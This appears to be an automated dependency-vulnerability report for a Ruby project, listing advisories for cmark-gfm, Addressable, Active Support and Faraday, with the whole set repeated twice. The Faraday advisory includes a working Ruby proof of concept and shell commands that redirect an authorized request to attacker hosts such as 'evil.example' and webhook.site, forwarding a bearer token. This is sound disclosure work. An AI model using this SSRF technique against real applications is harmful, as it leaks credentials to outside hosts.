Vulnerability Details
cmark-gfm is GitHub's extended version of the C reference implementation of CommonMark. Prior to versions 0.29.0.gfm.3 and 0.28.3.gfm.21, an integer overflow in cmark-gfm's table row parsing "table.c:row_from_string" may lead to heap memory corruption when parsing tables who's marker rows contain more than UINT16_MAX columns. The impact of this heap corruption ranges from Information Leak to Arbitrary Code Execution depending on how and where "cmark-gfm" is used. If "cmark-gfm" is used for rendering remote user controlled markdown, this vulnerability may lead to Remote Code Execution (RCE) in applications employing affected versions of the "cmark-gfm" library. This vulnerability has been patched in the following cmark-gfm versions 0.29.0.gfm.3 and 0.28.3.gfm.21. A workaround is available. The vulnerability exists in the table markdown extensions of cmark-gfm. Disabling the table extension will prevent this vulnerability from being triggered.

- ❌ addressable-2.8.8.gem (Vulnerable Library)
Found in base branch: main
Vulnerability Details
Addressable is an alternative implementation to the URI implementation that is part of Ruby's standard library. From 2.3.0 to before 2.9.0, within the URI template implementation in Addressable, two classes of URI template generate regular expressions vulnerable to catastrophic backtracking. Templates using the * (explode) modifier with any expansion operator (e.g., {foo*}, {+var*}, {#var*}, {/var*}, {.var*}, {;var*}, {?var*}, {&var*}) generate patterns with nested unbounded quantifiers that are O(2^n) when matched against a maliciously crafted URI. Templates using multiple variables with the + or # operators (e.g., {+v1,v2,v3}) generate patterns with O(n^k) complexity due to the comma separator being within the matched character class, causing ambiguous backtracking across k variables. When matched against a maliciously crafted URI, this can result in catastrophic backtracking and uncontrolled resource consumption, leading to denial of service. This vulnerability is fixed in 2.9.0.

Active Support is a toolkit of support libraries and Ruby core extensions extracted from the Rails framework. Prior to versions 8.1.2.1, 8.0.4.1, and 7.2.3.1, Active Support number helpers accept strings containing scientific notation (e.g. "1e10000"), which "BigDecimal" expands into extremely large decimal representations. This can cause excessive memory allocation and CPU consumption when the expanded number is formatted, possibly resulting in a DoS vulnerability. Versions 8.1.2.1, 8.0.4.1, and 7.2.3.1 contain a patch.

Vulnerability Details
Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component. This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.

ActiveSupport::EncryptedFile writes contents that will be encrypted to a temporary file. The temporary file's permissions are defaulted to the user's current "umask" settings, meaning that it's possible for other users on the same system to read the contents of the temporary file. Attackers that have access to the file system could possibly read the contents of this temporary file while a user is editing it. All users running an affected release should either upgrade or use one of the workarounds immediately.

Vulnerability Details
Active Support is a toolkit of support libraries and Ruby core extensions extracted from the Rails framework. "NumberToDelimitedConverter" uses a lookahead-based regular expression with "gsub!" to insert thousands delimiters. Prior to versions 8.1.2.1, 8.0.4.1, and 7.2.3.1, the interaction between the repeated lookahead group and "gsub!" can produce quadratic time complexity on long digit strings. Versions 8.1.2.1, 8.0.4.1, and 7.2.3.1 contain a patch.

Vulnerability Details
Active Support is a toolkit of support libraries and Ruby core extensions extracted from the Rails framework. Prior to versions 8.1.2.1, 8.0.4.1, and 7.2.3.1, "SafeBuffer#%" does not propagate the "@html_unsafe" flag to the newly created buffer. If a "SafeBuffer" is mutated in place (e.g. via "gsub!") and then formatted with "%" using untrusted arguments, the result incorrectly reports "html_safe? == true", bypassing ERB auto-escaping and possibly leading to XSS. Versions 8.1.2.1, 8.0.4.1, and 7.2.3.1 contain a patch.

Found in base branch: main
Vulnerability Details
Summary "Faraday::Connection#build_exclusive_url" still allows protocol-relative host override when the request target is provided as a "URI" object instead of a "String". This bypasses the February 2026 fix for "GHSA-33mh-2634-fwr2" and can redirect a request built from a fixed-base "Faraday::Connection" to an attacker-controlled host while preserving connection-scoped headers such as "Authorization". Affected Component - Repository File(s)/Endpoint(s): - "lib/faraday/connection.rb" - "lib/faraday/request.rb" - "spec/faraday/connection_spec.rb" - "spec/faraday/request_spec.rb" - Function(s): - "Faraday::Connection#build_exclusive_url" - "Faraday::Connection#run_request" - "Faraday::Request#url" - "Faraday::Request#to_env" - Version(s) Tested: - "Faraday 2.14.1" - repository HEAD "a01039c948d3e9e41e03d152aed7244f0fb4d5ca" Attacker Profile - Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection - Access Required: Ability to supply data that the application converts to "URI.parse(...)" and passes to "conn.get(...)", ""conn.post" (http://conn.post/)(...)", or "req.url(...)" - Capability: Control over a protocol-relative URI such as "URI("//evil.example/pwn")" Steps to Reproduce 1. Use the current repository checkout and load Faraday from "lib/". 2. Build a fixed-base connection and provide a protocol-relative "URI" object to "req.url". 3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host. 4. Observe that the connection-scoped "Authorization" header remains attached to the off-host request. Verification Evidence - Environment: macOS, Ruby from local environment, Faraday "2.14.1", "faraday-net_http", local WEBrick listener on "127.0.0.1:4567", HEAD "a01039c948d3e9e41e03d152aed7244f0fb4d5ca" - Commands executed: $ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start' $ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body' - PoC code (inline): require "faraday" require "faraday/net_http" conn = Faraday.new(url: "http://trusted.example/base", headers: { "Authorization" => "Bearer secret-token" }) { |f| f.adapter :net_http } target = ["//127.0.0.1:4567", "/pwn"].join resp = conn.get(URI(target)) puts resp.status puts resp.body - Exit code: "0" - stdout (relevant excerpt): 200 host=127.0.0.1 auth=Bearer secret-token path=/pwn - stderr (relevant excerpt): N/A - Artifacts: none Additional External Confirmation The issue was also independently reproduced against a public HTTP collector on Faraday "2.14.1" using the default "net_http" adapter: require "faraday" require "faraday/net_http" conn = Faraday.new( url: "http://trusted.example/base", headers: { "Authorization" => "Bearer secret-token" } ) { |f| f.adapter :net_http } target = ["//webhook.site", "/"].join resp = conn.get(URI(target)) resp.status => 200 resp.url.host => "webhook.site" This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage. Supporting Materials - Existing advisory for the original string-based issue: "GHSA-33mh-2634-fwr2" - Existing CVE for the original string-based issue: "CVE-2026-25765" - Existing regression tests for the string-only fix: - "spec/faraday/connection_spec.rb:314-345" - Existing test proving supported "URI" request input: - "spec/faraday/request_spec.rb:26-31" Impact The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

Vulnerability Details
cmark-gfm is GitHub's extended version of the C reference implementation of CommonMark. Prior to versions 0.29.0.gfm.3 and 0.28.3.gfm.21, an integer overflow in cmark-gfm's table row parsing "table.c:row_from_string" may lead to heap memory corruption when parsing tables who's marker rows contain more than UINT16_MAX columns. The impact of this heap corruption ranges from Information Leak to Arbitrary Code Execution depending on how and where "cmark-gfm" is used. If "cmark-gfm" is used for rendering remote user controlled markdown, this vulnerability may lead to Remote Code Execution (RCE) in applications employing affected versions of the "cmark-gfm" library. This vulnerability has been patched in the following cmark-gfm versions 0.29.0.gfm.3 and 0.28.3.gfm.21. A workaround is available. The vulnerability exists in the table markdown extensions of cmark-gfm. Disabling the table extension will prevent this vulnerability from being triggered.

Vulnerability Details
Addressable is an alternative implementation to the URI implementation that is part of Ruby's standard library. From 2.3.0 to before 2.9.0, within the URI template implementation in Addressable, two classes of URI template generate regular expressions vulnerable to catastrophic backtracking. Templates using the * (explode) modifier with any expansion operator (e.g., {foo*}, {+var*}, {#var*}, {/var*}, {.var*}, {;var*}, {?var*}, {&var*}) generate patterns with nested unbounded quantifiers that are O(2^n) when matched against a maliciously crafted URI. Templates using multiple variables with the + or # operators (e.g., {+v1,v2,v3}) generate patterns with O(n^k) complexity due to the comma separator being within the matched character class, causing ambiguous backtracking across k variables. When matched against a maliciously crafted URI, this can result in catastrophic backtracking and uncontrolled resource consumption, leading to denial of service. This vulnerability is fixed in 2.9.0.

Active Support is a toolkit of support libraries and Ruby core extensions extracted from the Rails framework. Prior to versions 8.1.2.1, 8.0.4.1, and 7.2.3.1, Active Support number helpers accept strings containing scientific notation (e.g. "1e10000"), which "BigDecimal" expands into extremely large decimal representations. This can cause excessive memory allocation and CPU consumption when the expanded number is formatted, possibly resulting in a DoS vulnerability. Versions 8.1.2.1, 8.0.4.1, and 7.2.3.1 contain a patch.

Vulnerability Details
Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component. This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.

ActiveSupport::EncryptedFile writes contents that will be encrypted to a temporary file. The temporary file's permissions are defaulted to the user's current "umask" settings, meaning that it's possible for other users on the same system to read the contents of the temporary file. Attackers that have access to the file system could possibly read the contents of this temporary file while a user is editing it. All users running an affected release should either upgrade or use one of the workarounds immediately.

Vulnerability Details
Summary "Faraday::Connection#build_exclusive_url" still allows protocol-relative host override when the request target is provided as a "URI" object instead of a "String". This bypasses the February 2026 fix for "GHSA-33mh-2634-fwr2" and can redirect a request built from a fixed-base "Faraday::Connection" to an attacker-controlled host while preserving connection-scoped headers such as "Authorization". Affected Component - Repository File(s)/Endpoint(s): - "lib/faraday/connection.rb" - "lib/faraday/request.rb" - "spec/faraday/connection_spec.rb" - "spec/faraday/request_spec.rb" - Function(s): - "Faraday::Connection#build_exclusive_url" - "Faraday::Connection#run_request" - "Faraday::Request#url" - "Faraday::Request#to_env" - Version(s) Tested: - "Faraday 2.14.1" - repository HEAD "a01039c948d3e9e41e03d152aed7244f0fb4d5ca" Attacker Profile - Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection - Access Required: Ability to supply data that the application converts to "URI.parse(...)" and passes to "conn.get(...)", ""conn.post" (http://conn.post/)(...)", or "req.url(...)" - Capability: Control over a protocol-relative URI such as "URI("//evil.example/pwn")" Steps to Reproduce 1. Use the current repository checkout and load Faraday from "lib/". 2. Build a fixed-base connection and provide a protocol-relative "URI" object to "req.url". 3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host. 4. Observe that the connection-scoped "Authorization" header remains attached to the off-host request. Verification Evidence - Environment: macOS, Ruby from local environment, Faraday "2.14.1", "faraday-net_http", local WEBrick listener on "127.0.0.1:4567", HEAD "a01039c948d3e9e41e03d152aed7244f0fb4d5ca" - Commands executed: $ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start' $ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body' - PoC code (inline): require "faraday" require "faraday/net_http" conn = Faraday.new(url: "http://trusted.example/base", headers: { "Authorization" => "Bearer secret-token" }) { |f| f.adapter :net_http } target = ["//127.0.0.1:4567", "/pwn"].join resp = conn.get(URI(target)) puts resp.status puts resp.body - Exit code: "0" - stdout (relevant excerpt): 200 host=127.0.0.1 auth=Bearer secret-token path=/pwn - stderr (relevant excerpt): N/A - Artifacts: none Additional External Confirmation The issue was also independently reproduced against a public HTTP collector on Faraday "2.14.1" using the default "net_http" adapter: require "faraday" require "faraday/net_http" conn = Faraday.new( url: "http://trusted.example/base", headers: { "Authorization" => "Bearer secret-token" } ) { |f| f.adapter :net_http } target = ["//webhook.site", "/"].join resp = conn.get(URI(target)) resp.status => 200 resp.url.host => "webhook.site" This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage. Supporting Materials - Existing advisory for the original string-based issue: "GHSA-33mh-2634-fwr2" - Existing CVE for the original string-based issue: "CVE-2026-25765" - Existing regression tests for the string-only fix: - "spec/faraday/connection_spec.rb:314-345" - Existing test proving supported "URI" request input: - "spec/faraday/request_spec.rb:26-31" Impact The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.
